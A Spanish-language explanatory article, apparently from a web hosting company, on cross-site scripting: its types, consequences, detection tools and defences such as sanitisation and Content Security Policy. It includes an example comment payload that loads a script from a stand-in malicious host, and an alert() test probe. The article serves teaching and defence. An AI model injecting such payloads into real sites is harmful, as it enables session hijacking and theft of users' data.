Ataque XSS o cross-site scripting: qué es y cómo evitarlo
Según OWASP, el ataque de Cross-Site Scripting (XSS) es una de las vulnerabilidades de seguridad más comunes. Esta se produce cuando un hacker consigue infiltrarse en una página web para inyectar un script malicioso.
En este artículo, vamos a explicarte qué es un ataque XSS y cómo puedes evitarlo. ¡Sigue leyendo!
Qué es un ataque XSS o cross-site scripting
Un ataque XSS (acrónimo de Cross-Site Scripting) es un tipo ataque informático que consiste en la introducción de código malicioso desde otros sitios y que es capaz de ejecutarse en el cliente. Se trata de uno de los ataques de seguridad más extendidos en la web, popular desde el inicio.
Cómo funciona un ataque XSS
El ataque XSS consiste en la introducción de código en la página web atacada para que, cuando un usuario legítimo lo use, el atacante pueda robar su información o incluso ganar privilegios de administrador (si el usuario los tenía).
La introducción del código malicioso se puede realizar de diversas maneras, pero siempre aprovechando vulnerabilidades en las aplicaciones web. Por ejemplo, en el sitio web puede existir un área de comentarios enviados por el usuario. Si estos comentarios no son debidamente sanitizados, sería posible que el atacante escribiera algo como
Esto es un comentario… <script src='https://sitio-malicioso.com/script-atacante.js'></script>
Si ese comentario se publica tal cual en la página web atacada, se cargará en su contenido un script de un sitio malicioso, lo que daría como resultado la posibilidad de ejecutar código de cualquier tipo en el navegador web y pondría al descubierto cualquier tipo de interacción del usuario con la página atacada.
También se podría introducir este ataque por medio de otras etiquetas (como el iframe) o de cualquier otra vía más sofisticada.
En ocasiones, ni siquiera es necesario que el código malicioso sea almacenado en la base de datos. Muchas veces la propia página web muestra contenido enviado por el usuario. Por ejemplo, cuando buscamos en Google, en las páginas de resultados aparece el mismo texto que estamos buscando. Si ese texto no se ha validado y sanitizado correctamente antes de mostrarlo en la página, podría darse el caso de introducción de código malicioso. Este sería un ejemplo de ataque XSS no persistente, que es el más común en la actualidad.
Consecuencias de un ataque XSS en un sitio web
Un ataque XSS puede tener efectos devastadores, tanto a nivel técnico como reputacional. Aunque a veces se subestiman, las vulnerabilidades XSS son una de las puertas de entrada más comunes para explotar fallos de seguridad en páginas web. Estas son algunas de sus consecuencias más relevantes:
Robo de información sensible de los usuarios
Los atacantes pueden usar XSS para inyectar scripts maliciosos que capturen credenciales de acceso, datos de formularios, tarjetas bancarias o información privada almacenada en cookies. Esto compromete directamente la privacidad de los usuarios.
Suplantación de identidad y secuestro de sesiones
A través de la manipulación del DOM y las cookies de sesión, un atacante puede hacerse pasar por otro usuario (por ejemplo, un administrador) y obtener control sobre funciones críticas del sistema, realizar cambios no autorizados o acceder a información restringida.
Redirección a sitios maliciosos o phishing
Una práctica común en ataques XSS es redirigir a los usuarios a sitios falsos que simulan ser el original, con el fin de engañarlos y capturar sus credenciales. Esta técnica está muy vinculada al phishing, y puede propagarse rápidamente si el sitio afectado tiene mucho tráfico.
Pérdida de confianza por parte de los usuarios
Un sitio web que ha sido comprometido pierde credibilidad. Los usuarios notarán comportamientos extraños (pop-ups, redirecciones, errores) y dejarán de confiar en la seguridad de la plataforma, lo que puede traducirse en pérdida de visitas, ventas o registros.
Penalizaciones SEO y afectación en la reputación online
Google y otros buscadores detectan comportamientos anómalos provocados por XSS y pueden penalizar en tu posicionamiento SEO de los resultados de búsqueda. Además, si el dominio aparece en listas negras de navegadores o antivirus, su recuperación puede ser lenta y compleja.
Tipos de ataque XSS
No existe una única forma de ciberataque, sino que éste se puede clasificar entre distintas categorías. Según el tipo de vulnerabilidad que sufra la página web, un ataque XSS se pueden dividir en:
Ataque XSS almacenado (persistente)
El ataque XSS almacenado (también conocido como ataque XSS persistente) se produce cuando el código malicioso está dentro de la base de datos del servidor web y los usuarios acceden a la página web afectada.
Los ejemplos más comunes se producen en foros o secciones de comentarios. Ahí, los hackers insertan el script para que, cuando el usuario visite la página, éste se ejecute en su navegador para robar su información.
Ataque XSS reflejado
Por otro lado, el ataque XSS reflejado se realiza cuando el código malicioso se inyecta a través de una URL (o un formulario). Así, cuando el usuario hace clic en el enlace manipulado, el código se ejecuta y el hacker puede realizar acciones en su nombre.
Para este tipo de ataque se utilizan técnicas como phishing para poder atraer al usuario y que haga clic sin sospechar del contenido.
Ataque XSS DOM
A diferencia de los tipos anteriores, el ataque XSS basado en DOM se centra en la manipulación del DOM para modificar el contenido de una página web. Aquí no se realiza ninguna inyección directa de código malicioso, sino que el hacker se aprovecha de cómo el navegador interpreta y ejecuta el código JavaScript desde el lado del cliente para poder modificar la estructura de la web y poder realizar acciones no deseadas.
¿Cómo detectar vulnerabilidades XSS?
Detectar posibles puntos de entrada para ataques XSS es fundamental para mantener la seguridad de tu sitio web o aplicación. Existen diferentes métodos y herramientas que te pueden ayudar a identificar estas debilidades antes de que sean explotadas:
Realiza pruebas con herramientas de escaneo automatizado
Utiliza herramientas especializadas como OWASP ZAP, Burp Suite, Acunetix o Netsparker, que realizan escaneos automáticos para detectar vulnerabilidades XSS en formularios, URLs y parámetros.
Estas herramientas simulan ataques controlados y te proporcionan informes detallados con posibles puntos de entrada y recomendaciones.
Usa navegadores con extensiones de análisis de seguridad
Navegadores como Chrome o Firefox permiten instalar extensiones como Web Developer, XSS Me o NoScript, que ayudan a probar scripts inyectados, visualizar errores y comprobar el comportamiento del sitio frente a ataques.
Estas herramientas son útiles para auditar manualmente la seguridad desde el punto de vista del cliente.
Aplica técnicas de fuzzing en formularios y entradas
El fuzzing consiste en enviar datos aleatorios, inesperados o maliciosos en los campos de entrada del sitio (como formularios de contacto, buscadores, etc.) para comprobar si son procesados sin filtrado.
Esto puede revelar fallos en la validación del lado del cliente o del servidor.
Implementa pruebas manuales con scripts inyectados
Una técnica básica pero efectiva es inyectar manualmente scripts de prueba como:
<script>alert('XSS')</script>
en formularios o parámetros URL. Si el navegador ejecuta el script, significa que hay una vulnerabilidad. Estas pruebas deben hacerse en entornos de desarrollo o pruebas, nunca en producción.
Revisa el código fuente en busca de malas prácticas de validación
Revisar manualmente el backend y el frontend te permitirá identificar falta de escape, ausencia de validaciones, uso inseguro del innerHTML o del DOM, y otras malas prácticas que permiten ejecutar código arbitrario.
Usar buenas prácticas de desarrollo seguro es la base para evitar problemas desde el inicio.
Cómo evitar un ataque XSS o cross-site scripting
La manera más básica de evitar un ataque XSS consiste en validar y sanitizar toda la entrada de datos del usuario. Cualquier dato introducido en la página por los usuarios lo tenemos que considerar poco seguro y, por lo tanto, nunca debemos confiar que no puede resultar en un ataque.
Especialmente, cuando esos datos luego se van a volcar dentro del propio sitio, como en un sistema de comentarios, donde los mensajes enviados por los usuarios aparecerán más tarde como contenido de la propia web. Es de suma importancia realizar todo tipo de operaciones que aseguren que las cadenas de texto introducidas son inofensivas.
Todos los lenguajes de programación tienen mecanismos para validar y sanitizar, siendo importante que estas operaciones se realicen del lado del servidor, pues es el entorno donde podemos estar seguros que nuestro código de validación y sanitización será ejecutado sin alteraciones.
También es clave usar mecanismos que nos aseguren que los datos volcados en la página son inofensivos. Por ejemplo, convirtiendo cualquier valor de una cadena en sus caracteres especiales del HTML, tal como se hace con las funciones htmlspecialchars() o htmlentities() de PHP.
Valida y escapa correctamente los datos de entrada
Todos los datos introducidos por el usuario deben validarse y sanearse, tanto en el lado cliente como en el servidor. Escapar caracteres especiales (<, >, ', ') evita que se interpreten como código HTML o JavaScript.
Librerías como DOMPurify (para JavaScript) ayudan a limpiar contenido dinámico antes de mostrarlo en la página.
Usa políticas de seguridad de contenido (CSP)
Implementar una Content Security Policy (CSP) desde el servidor permite controlar qué scripts pueden ejecutarse en el navegador. Esto impide que scripts inyectados desde orígenes no autorizados se ejecuten.
Ejemplo de cabecera CSP:
Content-Security-Policy: script-src 'self'
Implementa frameworks seguros para manejar el DOM
Utiliza frameworks modernos como React, Angular o Vue, que actualizan el DOM de forma segura y escapan automáticamente los datos dinámicos. Esto reduce drásticamente la exposición a XSS en el frontend.
Además, estos frameworks evitan el uso directo de métodos peligrosos como innerHTML, document.write o eval.
Actualiza tus librerías y CMS frecuentemente
Muchas veces los ataques XSS se aprovechan de vulnerabilidades conocidas en librerías JavaScript, plugins o CMS desactualizados. Mantener tu entorno actualizado reduce el riesgo de explotación.
Si usas WordPress, Joomla u otro CMS, asegúrate de que todos los plugins, temas y el núcleo estén siempre en su versión más reciente.
Conclusiones sobre ataques XSS o cross-site scripting
Es importante comprender qué son y cómo funcionan las ciberamenazas para poder proteger la seguridad de nuestra página web y, con ello, la privacidad de nuestros usuarios. Si no queremos enfrentarnos a las consecuencias, como la pérdida de la confianza entre nuestros clientes, lo mejor será implementar medidas de seguridad que reduzcan el riesgo de vulnerabilidad.
Al mismo tiempo, si nuestra página web fuera víctima de un ataque XSS, podría afectar a la reputación de nuestro dominio, además de que los motores de búsqueda (como Google) podrían penalizarnos en cuanto a visibilidad y empeorar nuestro posicionamiento SEO. Sin olvidar que podemos poner en riesgo a otros sitios web alojados dentro del mismo servidor, por lo que te recomendamos elegir siempre un hosting web confiable para llevar a cabo tu proyecto.
Desarrollador web, crea y mantiene los sitios web de Arsys. También idea herramientas internas que facilitan y mejoran los procesos. Es experto en desarrollo FrontEnd y en la optimización del rendimiento web, áreas en las que constantemente busca innovar para ofrecer la mejor experiencia online.